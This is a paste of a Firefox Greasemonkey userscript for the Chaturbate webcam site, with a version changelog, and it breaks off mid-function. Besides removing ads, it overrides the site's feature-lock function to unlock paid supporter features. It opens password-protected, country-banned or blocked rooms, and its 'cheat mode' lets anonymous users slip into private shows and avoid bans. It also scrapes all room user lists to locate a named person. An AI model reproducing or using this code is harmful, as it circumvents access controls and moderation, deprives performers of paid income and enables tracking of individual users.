SHOW:
|
|
- or go back to the newest paste.
1 | ||
2 | ||
3 | // ==UserScript== | |
4 | // @name chaturbate | |
5 | // @version 1 | |
6 | // @namespace chaturbate | |
7 | // @description chaturbate | |
8 | // @include http://chaturbate.com/* | |
9 | // @include http://*.chaturbate.com/* | |
10 | // @exclude http://serve.ads.chaturbate.com/* | |
11 | // @run-at document-start | |
12 | // @grant GM_getValue | |
13 | // @grant GM_setValue | |
14 | // @grant GM_addStyle | |
15 | // @grant GM_xmlhttpRequest | |
16 | // ==/UserScript== | |
17 | ||
18 | scversion = 16.7; | |
19 | flashplayer = "/static/flash/CBV_2p640.swf"; | |
20 | ||
21 | //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! | |
22 | // if you see this text then save the file as *- newchaturbate.user.js -* | |
23 | // after saving open it inside firefox and install it. | |
24 | //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! | |
25 | // | |
26 | //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | |
27 | // >>>>>>>>>>>>>>>>>>ONLY FOR FIREFOX WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<< | |
28 | // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<< | |
29 | // V12+ | |
30 | // Removes all advertisements | |
31 | // Inserts a new video box if the room is password protected or if your banned or blocked | |
32 | // More colums on the main screen and streched the chat box | |
33 | // External links are no longer redirected | |
34 | // Checks the version of the flash player and tries to use the same version on protectected rooms | |
35 | // Shoutbox at the end of the screen | |
36 | // By default the chat won't show emoticons | |
37 | // | |
38 | // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE ! | |
39 | // | |
40 | // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal | |
41 | // webcam or to go to a webcam with special functions. | |
42 | // On a normal cam page you have the option to go back to the profile page. | |
43 | // | |
44 | // special video mode where you can enter a streamkey | |
45 | // | |
46 | // only the last updates are mentioned here , the list became too long | |
47 | // | |
48 | // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any | |
49 | // time you want. if the performer goes private or groep you will stil auto-follow to the private room | |
50 | // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode | |
51 | // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use | |
52 | // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one | |
53 | // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy | |
54 | // v14.8 video server orgin3 added | |
55 | // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names | |
56 | // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string | |
57 | // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be | |
58 | // in broadcaster mode. You can open a room in clean Iframe mode. | |
59 | // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user | |
60 | // v15.3 all video options removed , tipping removed , fixed anon entry | |
61 | // v15.4 fix for tipnotes | |
62 | // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed | |
63 | // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window | |
64 | // v15.7 no more tip notes | |
65 | // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!) | |
66 | // v15.9 bug fix from 15.8 | |
67 | // v16.0 , number scipped | |
68 | // v16.1 use of a random server in password room b.c. the static server was down. | |
69 | // v16.2 fix for FF 23 , find a user added | |
70 | // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added | |
71 | // v16.3a & b & c chrome compatible , no update | |
72 | // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup | |
73 | // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo | |
74 | //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | |
75 | ||
76 | createCookie("agreeterms","1",1); | |
77 | createCookie("np3","0",1); | |
78 | if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} | |
79 | ||
80 | function do_script() { | |
81 | ||
82 | // some adjustment needed if we are in cheat mode | |
83 | ||
84 | if (readCookie("cheatmode")){ | |
85 | mode=readCookie("cheatmode").split("&"); | |
86 | eraseCookie("cheatmode","chaturbate.com"); | |
87 | preformer=mode[0]; | |
88 | anon=mode[1]; | |
89 | mob=mode[2]; | |
90 | document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;"); | |
91 | base=document.createElement('BASE'); | |
92 | url=document.location.href; | |
93 | url=url.replace(document.location.href.split("/")[4],preformer); | |
94 | url=url.split("?")[0]; | |
95 | ||
96 | base.setAttribute("href",url); | |
97 | ||
98 | document.getElementsByTagName('head')[0].appendChild(base); | |
99 | ||
100 | ||
101 | text1="<center><b>Welcome in "+preformer+"'s room.</b><br></center>"; | |
102 | text2="<center><b>You are an anonymous user and you can not chat.</b><br></center>"; | |
103 | text3="<center><b>You are in mobile mode and you are not visible in the userlist.</b><br></center>"; | |
104 | text4='<center><b><a href="javascript:if(flash_handler.initializer.is_on_private_room==false){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=true;GetFlashObject(\'movie\').JoinPrivateRoom(0)};">Enter the private room</a>--------<a href="javascript:if(flash_handler.initializer.is_on_private_room==true){GetFlashObject(\'movie\').LeaveRoom();flash_handler.initializer.is_on_private_room=false;GetFlashObject(\'movie\').JoinRoom(0);}">Leave the private room</a></center>'; | |
105 | text5="<center><b><a href='http://chaturbate.com/p/"+preformer+"/'>Return to the profile.</a><br><br>"; | |
106 | ||
107 | text=document.createElement('div'); | |
108 | ||
109 | textf=text1; | |
110 | if(anon==1){textf=textf+text2} | |
111 | if(mob==1){textf=textf+text3} | |
112 | if((anon==1)&&(mob==0)){textf=textf+text4} | |
113 | ||
114 | text.id="cheat"; | |
115 | ||
116 | text.innerHTML=textf+text5; | |
117 | ||
118 | body=document.getElementsByTagName('body')[0]; | |
119 | ||
120 | body.insertBefore(text, body.firstChild); | |
121 | ||
122 | // fix abuse | |
123 | abu=document.getElementById("report_popup"); | |
124 | abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/"); | |
125 | ||
126 | // fix the tipping | |
127 | tips=document.getElementsByClassName('tip_shell')[0]; | |
128 | tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/"); | |
129 | ||
130 | } | |
131 | ||
132 | // always earase again, just in case we broke the page | |
133 | eraseCookie("cheatmode","chaturbate.com"); | |
134 | // earase these too | |
135 | eraseCookie("latest_linked_timestamp"); | |
136 | eraseCookie("latest_linked_username"); | |
137 | eraseCookie("affkey"); | |
138 | eraseCookie("fromaffiliate"); | |
139 | ||
140 | ||
141 | // from here normal script | |
142 | ||
143 | // remove visible adds | |
144 | ad = document.getElementsByClassName('ad'); | |
145 | if (document.location.href.split("/")[3]!="b"){ | |
146 | if (ad[1]){ad[1].parentNode.removeChild(ad[1])}} | |
147 | ||
148 | verstr='<strong>Special edition </strong><br>V '+scversion; | |
149 | if(document.getElementById("player")){verstr=verstr+'<br><label> Debug chatbox: </label><input type="checkbox" id="appnotice">'} | |
150 | if (ad[0]){ad[0].innerHTML=verstr} | |
151 | ||
152 | ||
153 | ad = document.getElementsByClassName('banner')[0]; | |
154 | if (ad){ad.parentNode.removeChild(ad)} | |
155 | ad=document.getElementById("botright"); | |
156 | if (ad){ad.parentNode.removeChild(ad)} | |
157 | ||
158 | // advert options on menu bars and check if your logged in | |
159 | if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");} | |
160 | notlogged = GM_getValue( "all" , 0 ); | |
161 | bar=document.getElementById("nav"); | |
162 | if (bar){ | |
163 | barl=bar.getElementsByTagName('li'); | |
164 | i=barl.length-1; | |
165 | while (i != -1){ | |
166 | d=barl[i].innerHTML; | |
167 | if (d.indexOf('/login') != -1) {notlogged = 1} | |
168 | if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--} | |
169 | else{barl[i].parentNode.removeChild(barl[i]);i--} | |
170 | }} | |
171 | ||
172 | // rss feed link | |
173 | if(document.getElementsByClassName('wide')[0]){ | |
174 | newli=document.createElement('li'); | |
175 | newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/cam_listing/' target = _blank>LAST ONLINE </a>"; | |
176 | if (bar){bar.appendChild(newli)}} | |
177 | ||
178 | // find user | |
179 | if(document.getElementsByClassName('wide')[0]){ | |
180 | newli=document.createElement('li'); | |
181 | newli.innerHTML="<a href='http://chaturbate.com/affiliates/promotools/im_ads/' target = _blank>FIND A USER </a>"; | |
182 | if (bar){bar.appendChild(newli)}} | |
183 | ||
184 | ||
185 | // blog spam | |
186 | ad = document.getElementsByClassName('featured_blog_posts')[0]; | |
187 | if (ad){ad.parentNode.removeChild(ad)} | |
188 | ||
189 | // footer spam | |
190 | ad = document.getElementsByClassName('featured_text')[0]; | |
191 | if (ad){ad.parentNode.removeChild(ad)} | |
192 | ||
193 | // announcement banner | |
194 | ad = document.getElementsByClassName('top-section')[0]; | |
195 | if (ad){ | |
196 | ad = ad.getElementsByTagName('img')[0]; | |
197 | if (ad){ad.parentNode.removeChild(ad)}} | |
198 | ||
199 | // footer cleanup | |
200 | ad = document.getElementsByClassName('footer-holder')[0]; | |
201 | if (ad){ | |
202 | ad1 = ad.getElementsByTagName('p')[3]; | |
203 | if (ad1){ad1.parentNode.removeChild(ad1)} | |
204 | ad1 = ad.getElementsByTagName('p')[2]; | |
205 | if (ad1){ad1.parentNode.removeChild(ad1)} | |
206 | ad1 = ad.getElementsByTagName('p')[1]; | |
207 | if (ad1){ad1.parentNode.removeChild(ad1)} | |
208 | ad1 = ad.getElementsByTagName('p')[0]; | |
209 | if (ad1){ad1.parentNode.removeChild(ad1)}} | |
210 | ||
211 | // strech the screen | |
212 | front=document.getElementsByClassName('c-1')[0]; | |
213 | if(front) { | |
214 | front.setAttribute("style", "margin: 0px 0px 0px 35px;")} | |
215 | front=document.getElementsByClassName('c-1')[1]; | |
216 | if(front) { | |
217 | front.setAttribute("style", "margin: 0px 0px 0px 35px;")} | |
218 | ||
219 | // remove out of position images | |
220 | container = document.getElementById("tabs_content_container") | |
221 | if (container){ | |
222 | var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br"); | |
223 | for (n=0; n<taglist.length-1; n++){ | |
224 | blockelm (taglist[n]); | |
225 | }} | |
226 | ||
227 | function blockelm(tag){ | |
228 | var image = container.getElementsByTagName(tag); | |
229 | for (i=0; i<image.length; i++){ | |
230 | if (image[i].style.position){ | |
231 | if ((image[i].style.position.indexOf("absolute")!=-1)||(image[i].style.position.indexOf("fixed")!=-1)){ | |
232 | image[i].style.display="none"} | |
233 | }}} | |
234 | ||
235 | //fix external links redirection | |
236 | var link = document.getElementsByTagName('a'); | |
237 | for (i=0; i<link.length; i++){ | |
238 | if (link[i].href.indexOf('?url=') != -1){ | |
239 | linkhref=unescape(link[i].href); | |
240 | newlinkhref=linkhref.substring(linkhref.indexOf("?url=")+5,linkhref.indexOf("&domain")); | |
241 | link[i].href=newlinkhref}} | |
242 | ||
243 | ||
244 | if (notlogged == 0){ // logged in | |
245 | ||
246 | // on a profile page link to cam | |
247 | splits=document.location.href.split("/"); | |
248 | play=document.getElementById("movie"); // check for player | |
249 | ||
250 | if (splits[3]!="b"){ // not broadcasting | |
251 | if (splits[3]=="p"){ // profile page (can have player) | |
252 | ||
253 | newli=document.createElement('li'); | |
254 | camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/"+splits[4]; | |
255 | newli.innerHTML="<a href="+camloc+">OPEN THE NORMAL CHAT </a>"; | |
256 | if (bar){bar.appendChild(newli)} | |
257 | ||
258 | ||
259 | // go to semi password room | |
260 | newli=document.createElement('li'); | |
261 | pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4]; | |
262 | newli.innerHTML="<a href='"+pwroom+"'>GO TO PASSWORD ROOM</a>"; | |
263 | if (bar){bar.appendChild(newli)}; | |
264 | ||
265 | // go to embedded room | |
266 | newli=document.createElement('li'); | |
267 | ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4]; | |
268 | newli.innerHTML="<a href='"+ebroom+"' target=_blank>OPEN THE ROOM IN A CLEAN PAGE</a>"; | |
269 | if (bar){bar.appendChild(newli)}; | |
270 | ||
271 | } // end only on profile page | |
272 | ||
273 | // graphic rss feed | |
274 | function showfeed(){ | |
275 | var x=document.getElementById("selector").selectedIndex; | |
276 | feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ; | |
277 | ||
278 | GM_xmlhttpRequest({ | |
279 | method: 'GET', | |
280 | url: feedXml, | |
281 | onload: function(response) { | |
282 | xmlString=response.responseText; | |
283 | ||
284 | // dirty HTML parser, i can handle xml as html | |
285 | xmldoc=document.createElement('div'); | |
286 | xmldoc.innerHTML=xmlString; | |
287 | ||
288 | area=document.getElementsByClassName('content_body')[0]; | |
289 | area.innerHTML=""; | |
290 | ||
291 | newdiv=document.createElement('div'); | |
292 | area.appendChild(newdiv); | |
293 | ||
294 | holder=document.createElement('ul'); | |
295 | holder.className="list"; | |
296 | holder.id="check"; | |
297 | newdiv.appendChild(holder); | |
298 | ||
299 | var items = new Array(); | |
300 | items=xmldoc.getElementsByTagName('item'); | |
301 | ||
302 | blockstring='<img src="item1" alt="item2" class="png" height="148" width="180">' | |
303 | +'<a href="item3" target="_blank" class="corners"> </a>' | |
304 | +'<div class="details">' | |
305 | +'<div class="title">' | |
306 | +'<a target="_blank" href="item4">item5</a>' | |
307 | +'<span class="age genderitem6"> </span>' | |
308 | +'</div>' | |
309 | +'<ul class="subject">' | |
310 | +'<li></li>' | |
311 | +'</ul>' | |
312 | +'<ul class="sub-info">' | |
313 | +'<li class="location">item8</li>' | |
314 | +'<li class="cams">item9 min. online - item10 viewers</li>' | |
315 | +'</ul>' | |
316 | +'</div>'; | |
317 | ||
318 | for (n=0; n<items.length; n++){ | |
319 | image_url= items[n].getElementsByTagName("image_url")[0].innerHTML; | |
320 | title = items[n].getElementsByTagName("title")[0].innerHTML; | |
321 | ||
322 | guid = items[n].getElementsByTagName("guid")[0].innerHTML; | |
323 | gsplits=guid.split("/"); | |
324 | guid=gsplits[0]+"/"+gsplits[1]+"/"+gsplits[2]+"/p/"+gsplits[3]; | |
325 | ||
326 | username = items[n].getElementsByTagName("username")[0].innerHTML; | |
327 | gender = items[n].getElementsByTagName("gender")[0].innerHTML; | |
328 | location_ = items[n].getElementsByTagName("location")[0].innerHTML; | |
329 | number_of_users_watching = items[n].getElementsByTagName("number_of_users_watching")[0].innerHTML; | |
330 | ||
331 | online_since = items[n].getElementsByTagName("online_since")[0].innerHTML; | |
332 | osplits=online_since.split(":"); | |
333 | Honline=parseInt(osplits[0].split(" ")[1]); | |
334 | Monline=parseInt(osplits[1]); | |
335 | Sonline=parseInt(osplits[2].split(".")[0]); | |
336 | ||
337 | offset = parseInt((new Date().getTimezoneOffset()))/60; | |
338 | Honline = Honline+11+offset; | |
339 | if (Honline >= 24){Honline=Honline-24} | |
340 | ||
341 | d = new Date(); | |
342 | Hnow = d.getHours(); | |
343 | Mnow = d.getMinutes(); | |
344 | Snow = d.getSeconds(); | |
345 | ||
346 | secnow=(Hnow*60*60)+(Mnow*60)+Snow; | |
347 | seconl=(Honline*60*60)+(Monline*60)+Sonline; | |
348 | secdiff=Math.abs(secnow-seconl); | |
349 | mindiff=parseInt(secdiff/60); | |
350 | ||
351 | block=document.createElement('li'); | |
352 | block.setAttribute("style", "margin: 5px 5px 5px 5px;"); | |
353 | ||
354 | blockstring1=blockstring.replace("item1",image_url); | |
355 | blockstring1=blockstring1.replace("item2",title); | |
356 | blockstring1=blockstring1.replace("item3",guid); | |
357 | blockstring1=blockstring1.replace("item4",guid); | |
358 | blockstring1=blockstring1.replace("item5",username); | |
359 | blockstring1=blockstring1.replace("item6",gender); | |
360 | blockstring1=blockstring1.replace("item8",location_); | |
361 | blockstring1=blockstring1.replace("item9",mindiff); | |
362 | blockstring1=blockstring1.replace("item10",number_of_users_watching); | |
363 | ||
364 | block.innerHTML=blockstring1; | |
365 | ||
366 | holder.appendChild(block); | |
367 | ||
368 | } // end for | |
369 | ||
370 | setTimeout(function(){showfeed()},20000); | |
371 | ||
372 | } // end onload | |
373 | }); // end xmlhttp | |
374 | } // end function | |
375 | ||
376 | ||
377 | //finduser | |
378 | function finduser(){ | |
379 | fusern=document.getElementById("fusername").value; | |
380 | if (fusern == ""){alert("First fill in a username !");return false} | |
381 | ||
382 | document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist"; | |
383 | ||
384 | ||
385 | feedXml='http://chaturbate.com/tours/3/?p=1&c=1000'; | |
386 | ||
387 | GM_xmlhttpRequest({ | |
388 | method: 'GET', | |
389 | url: feedXml, | |
390 | onload: function(response) { | |
391 | responsedoc=response.responseText; | |
392 | ||
393 | // dirty HTML parser | |
394 | parse=document.createElement('div'); | |
395 | parse.innerHTML=responsedoc; | |
396 | ||
397 | var items = new Array(); | |
398 | items=parse.getElementsByClassName('title'); | |
399 | ||
400 | var olnames = new Array(); | |
401 | for (i=0; i<items.length-1; i++){ | |
402 | olnames[i]=items[i].getElementsByTagName('a')[0].innerHTML; | |
403 | } | |
404 | ||
405 | // save some memory | |
406 | responsedoc=""; | |
407 | parse=""; | |
408 | items.length = 0; | |
409 | // end parser | |
410 | ||
411 | document.getElementsByClassName('content_body')[0].innerHTML="Searching "+i+" rooms for user: <b>"+fusern+"</b><br><br>"; | |
412 | ||
413 | i=0; | |
414 | checkroom(olnames,i); | |
415 | ||
416 | } // end onload xml | |
417 | ||
418 | }); // end xml | |
419 | ||
420 | } //end function | |
421 | ||
422 | ||
423 | function checkroom(olnames,i){ | |
424 | ||
425 | userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c"; | |
426 | ||
427 | document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : <b>"+olnames[i]+"</b><br>"; | |
428 | ||
429 | GM_xmlhttpRequest({ | |
430 | method: 'GET', | |
431 | url: userurl, | |
432 | onload: function(response) { | |
433 | data = response.responseText; | |
434 | if(data.indexOf(fusern+"|") != -1){ | |
435 | document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '<b>"+fusern+"</b>' found in room : <a href='http://chaturbate.com/p/"+olnames[i]+"/' target='_blank'>"+olnames[i]+"</a><br>"; | |
436 | } | |
437 | i++; | |
438 | if(i==olnames.length){ | |
439 | if(document.getElementsByClassName('content_body')[0].innerHTML==""){ | |
440 | document.getElementsByClassName('affiliate_options')[0].innerHTML="User '<b>"+fusern+"</b>' not found."} | |
441 | else{ | |
442 | document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."} | |
443 | return false} | |
444 | checkroom(olnames,i); | |
445 | } // end onload xml2 | |
446 | }); // end xml2 | |
447 | } | |
448 | ||
449 | // set up rss page | |
450 | if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){ | |
451 | document.title="Last cam's online"; | |
452 | area=document.getElementsByClassName('content_body')[0]; | |
453 | area.innerHTML=""; | |
454 | area=document.getElementsByClassName('affiliate_options')[0]; | |
455 | area.innerHTML='<br>Last cam\'s online : <select id="selector" ><option value="">Show all</option><option value="gender=f">Show only female</option><option value="gender=m">Show only male</option><option value="gender=c">Show only couple</option><option value="gender=s">Show only transsexual</option></select>'; | |
456 | showfeed(); | |
457 | } | |
458 | ||
459 | // set up find a user page | |
460 | if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){ | |
461 | document.title="Find a user"; | |
462 | area=document.getElementsByClassName('content_body')[0]; | |
463 | area.innerHTML=""; | |
464 | area=document.getElementsByClassName('affiliate_options')[0]; | |
465 | area.innerHTML='<br>Enter the name of the user you want to locate: <input type="text" name="username" id="fusername"><input type="submit" value="Submit" id="submit"><br>'; | |
466 | document.getElementById("submit").addEventListener('click',function(){finduser();}, false); | |
467 | } | |
468 | ||
469 | // on a player page, if logged in, unlock features. | |
470 | if (play){ // player on the page ? | |
471 | if (!readCookie("logstatus")){save()} | |
472 | if(document.getElementById("defchat")){ | |
473 | scrip=document.createElement('script'); | |
474 | scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};"; | |
475 | document.getElementsByTagName('body')[0].appendChild(scrip); | |
476 | } | |
477 | ||
478 | // console logger | |
479 | if(document.getElementById("defchat")){ | |
480 | scrip=document.createElement('script'); | |
481 | ||
482 | scriptstring="flash_handler.consolelog = " | |
483 | +"function(msg2){" | |
484 | +"xaa=document.getElementsByClassName('chat-list')[0];" | |
485 | +"if(xaa){" | |
486 | +"msg3=unescape(msg2);" | |
487 | +"msg4='x';" | |
488 | +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){" | |
489 | +"msg4='<p><span class=\"tipalert\">'+msg3.substring(20)+'</span></p>'}" | |
490 | +"if (msg3.indexOf('Notification privateshowrequest')!=-1){" | |
491 | +"msg4='<p><span class=\"privatealert\">'+msg3.substring(20)+'</span></p>'}" | |
492 | +"if(document.getElementById('appnotice')){" | |
493 | +"if(document.getElementById('appnotice').checked==true){" | |
494 | +"msg4='<p><span>'+msg3+'</span></p>';}}" | |
495 | +"if(msg4 != 'x'){" | |
496 | +"newdiv=document.createElement('div');" | |
497 | +"newdiv.className='text';" | |
498 | +"newdiv.innerHTML=msg4;" | |
499 | +"xaa.appendChild(newdiv);" | |
500 | +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){" | |
501 | +"xaa.scrollTop=xaa.scrollHeight}}}};"; | |
502 | ||
503 | scrip.innerHTML=scriptstring; | |
504 | document.getElementsByTagName('body')[0].appendChild(scrip); | |
505 | } | |
506 | ||
507 | ||
508 | // options page on normal player page | |
509 | if (splits[3]!="p"){ // no profile but still a player page = normal page | |
510 | newli=document.createElement('li'); | |
511 | camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3]; | |
512 | newli.innerHTML="<a href="+camloc+">GO TO THE PROFILE PAGE WITH OPTIONS</a>"; | |
513 | if (bar){bar.appendChild(newli)}} | |
514 | ||
515 | // shoutbox on all player pages | |
516 | newtab2=document.createElement('div'); | |
517 | newtab2.id="shout"; | |
518 | newtab2.innerHTML=sdata; | |
519 | document.getElementById("defchat").appendChild(newtab2); | |
520 | ||
521 | } // end player page | |
522 | ||
523 | // remove lock picture from thumb | |
524 | pictures = document.getElementsByClassName('preview'); | |
525 | if (pictures){ | |
526 | for (i=0; i<pictures.length; i++){ | |
527 | if(pictures[i].getAttribute("alt") =="Locked"){ | |
528 | pictures[i].parentNode.removeChild(pictures[i])}}} | |
529 | ||
530 | // specials | |
531 | // if you have no access then create a new video box | |
532 | area = document.getElementsByClassName('block')[0]; | |
533 | if (area){ | |
534 | if (area.innerHTML.length < 100){ | |
535 | preformer=splits[3]; | |
536 | if (preformer == "p"){document.location.href="http://chaturbate.com/"+splits[4]} | |
537 | document.title = preformer+"'s No Access Room"; | |
538 | makevid (preformer)}} | |
539 | ||
540 | if (splits[3]=="roomlogin"){ | |
541 | preformer=splits[4]; | |
542 | document.title = preformer+"'s Password Protected Room"; | |
543 | room=document.getElementsByClassName('sub-nav')[0]; | |
544 | if (room){ | |
545 | room.getElementsByTagName('a')[0].href=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[4]+"/"; | |
546 | makevid (preformer)}} | |
547 | ||
548 | ||
549 | //key entry | |
550 | keyinput(); | |
551 | ||
552 | // always set interval function, update every 3 sec. | |
553 | t=setInterval(function(){ | |
554 | ||
555 | // if on player page | |
556 | // read flash player version | |
557 | ||
558 | play=document.getElementById("player"); | |
559 | if (play){ | |
560 | if (!readCookie("CBversion")){ | |
561 | version=document.getElementsByTagName('object')[0]; | |
562 | if (version){ | |
563 | createCookie("CBversion",version.getAttribute("data"),1,"chaturbate.com"); | |
564 | }} | |
565 | ||
566 | // nex cam = only video | |
567 | rep=document.getElementsByClassName('nextcam')[0]; | |
568 | if (rep){ | |
569 | if (rep.innerHTML != "SHOW ONLY VIDEO"){ | |
570 | rep.href="#";rep.innerHTML="SHOW ONLY VIDEO"; | |
571 | rep.addEventListener('click',function(){popvid();}, false); | |
572 | }} | |
573 | ||
574 | ||
575 | // sorted userlist option | |
576 | ulist=document.getElementsByClassName('users-list')[0]; | |
577 | if (ulist){ | |
578 | if(ulist.getElementsByTagName("a")[0]){ | |
579 | if(ulist.getElementsByTagName("a")[0].innerHTML!="refresh userlist sorted by tokens"){ | |
580 | newdiv=document.createElement('div'); | |
581 | newdiv.className='text'; | |
582 | newdiv.setAttribute('style','float:right'); | |
583 | newdiv.innerHTML=' <a href="#">refresh userlist sorted by tokens</a>'; | |
584 | newdiv.addEventListener('click',function(){sortuser();}, false); | |
585 | ulist.insertBefore(newdiv,ulist.getElementsByTagName("div")[0])} | |
586 | ||
587 | }} | |
588 | ||
589 | // tip mute option and fuction | |
590 | settings=document.getElementsByClassName('settings-list')[0]; | |
591 | if (settings){ | |
592 | if(!document.getElementById("tipmute")){ | |
593 | newform=document.createElement('form'); | |
594 | newform.innerHTML='<label> Mute tip sound: </label><input type="checkbox" id="tipmute">'; | |
595 | settings.appendChild(newform); | |
596 | ||
597 | scrip=document.createElement('script'); | |
598 | scriptstring="if(document.getElementById('tipmute')){" | |
599 | +"var oldbeep = PlayBeep;PlayBeep = function(text) {if(document.getElementById('tipmute').checked==true){return}else{return oldbeep(text)}}};"; | |
600 | ||
601 | scrip.innerHTML=scriptstring; | |
602 | document.getElementsByTagName('body')[0].appendChild(scrip); | |
603 | ||
604 | }} | |
605 | } // end if play | |
606 | ||
607 | // if on front page | |
608 | //rewrite thumb links with P and let them open in a new window | |
609 | ||
610 | front=document.getElementsByClassName('list')[0]; | |
611 | if(front) { | |
612 | if (front.id != "check"){ // id is gone when updated | |
613 | front.id="check"; | |
614 | ||
615 | // names with p | |
616 | function setkeys(front){ | |
617 | blocks=front.getElementsByTagName('a'); | |
618 | for (i=0; i<blocks.length; i++){ | |
619 | link=blocks[i].href; | |
620 | splits=link.split("/"); | |
621 | if (splits[3]){ | |
622 | if (splits[3]!="p"){ | |
623 | link=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3]; | |
624 | blocks[i].href=link; | |
625 | blocks[i].target="_blank"; | |
626 | }}} | |
627 | } // end setkeys function | |
628 | ||
629 | ||
630 | ||
631 | setkeys (front); | |
632 | if (document.getElementsByClassName('list')[1]){setkeys(document.getElementsByClassName('list')[1])} | |
633 | ||
634 | }//end if front | |
635 | } // end if ID | |
636 | },3000) // end timer | |
637 | } // end not broadcasting | |
638 | } // end logged in | |
639 | ||
640 | } // end main function | |
641 | ||
642 | // sorted userlist | |
643 | ||
644 | function sortuser(){ | |
645 | ulist=document.getElementsByClassName('users-list')[0]; | |
646 | if (ulist){ | |
647 | ulist.innerHTML="Sorting userlist...."; | |
648 | room=unsafeWindow.nextroomurl.split("/")[2]; | |
649 | userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+room+"&private=false&sort_by=t"; | |
650 | GM_xmlhttpRequest({ | |
651 | method: 'GET', | |
652 | url: userurl, | |
653 | onload: function(response) { | |
654 | data = response.responseText; | |
655 | userarray=data.split(","); | |
656 | ulist.innerHTML=""; | |
657 | for (i=1;i<userarray.length;i++){ | |
658 | uname=userarray[i].split("|")[0]; | |
659 | ucol=userarray[i].split("|")[1]; | |
660 | div3=document.createElement('div'); | |
661 | div3.innerHTML='<a href="/p/'+uname+'" target=_blank><strong class="color-'+ucol+'">'+uname+'</strong></a>'; | |
662 | ulist.appendChild(div3); | |
663 | } | |
664 | }}) | |
665 | }} | |
666 | ||
667 | //popvid | |
668 | function popvid(){ | |
669 | vidwin=document.getElementById("player").innerHTML; | |
670 | popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no"); | |
671 | popUpWindow.document.writeln ('<html><head><title>Floating '+document.title+'</title></head><body BGCOLOR="grey" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">'+vidwin+'</body></html>'); | |
672 | popUpWindow.document.close(); | |
673 | window.close(); | |
674 | document.location.href="http://chaturbate.com"} | |
675 | ||
676 | // new cheat function | |
677 | function npcheat(preformer,anon){ | |
678 | ||
679 | mmode=0; | |
680 | if(document.getElementById('mobmode').checked==true){mmode=1} | |
681 | ||
682 | // get chat host | |
683 | GM_xmlhttpRequest({ | |
684 | method: 'GET', | |
685 | url: 'http://www.chaturbate.com/embed/'+preformer, | |
686 | onload: function(response2) { | |
687 | data2 = response2.responseText; | |
688 | ||
689 | chostpos=data2.indexOf("rtmp://chat"); | |
690 | if (chostpos == -1){ | |
691 | r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one."); | |
692 | if (r==true){chost="rtmp://chat1"} | |
693 | else{chost="rtmp://chat2"}} | |
694 | else{ | |
695 | chost=data2.substring(chostpos,chostpos+12)} | |
696 | ||
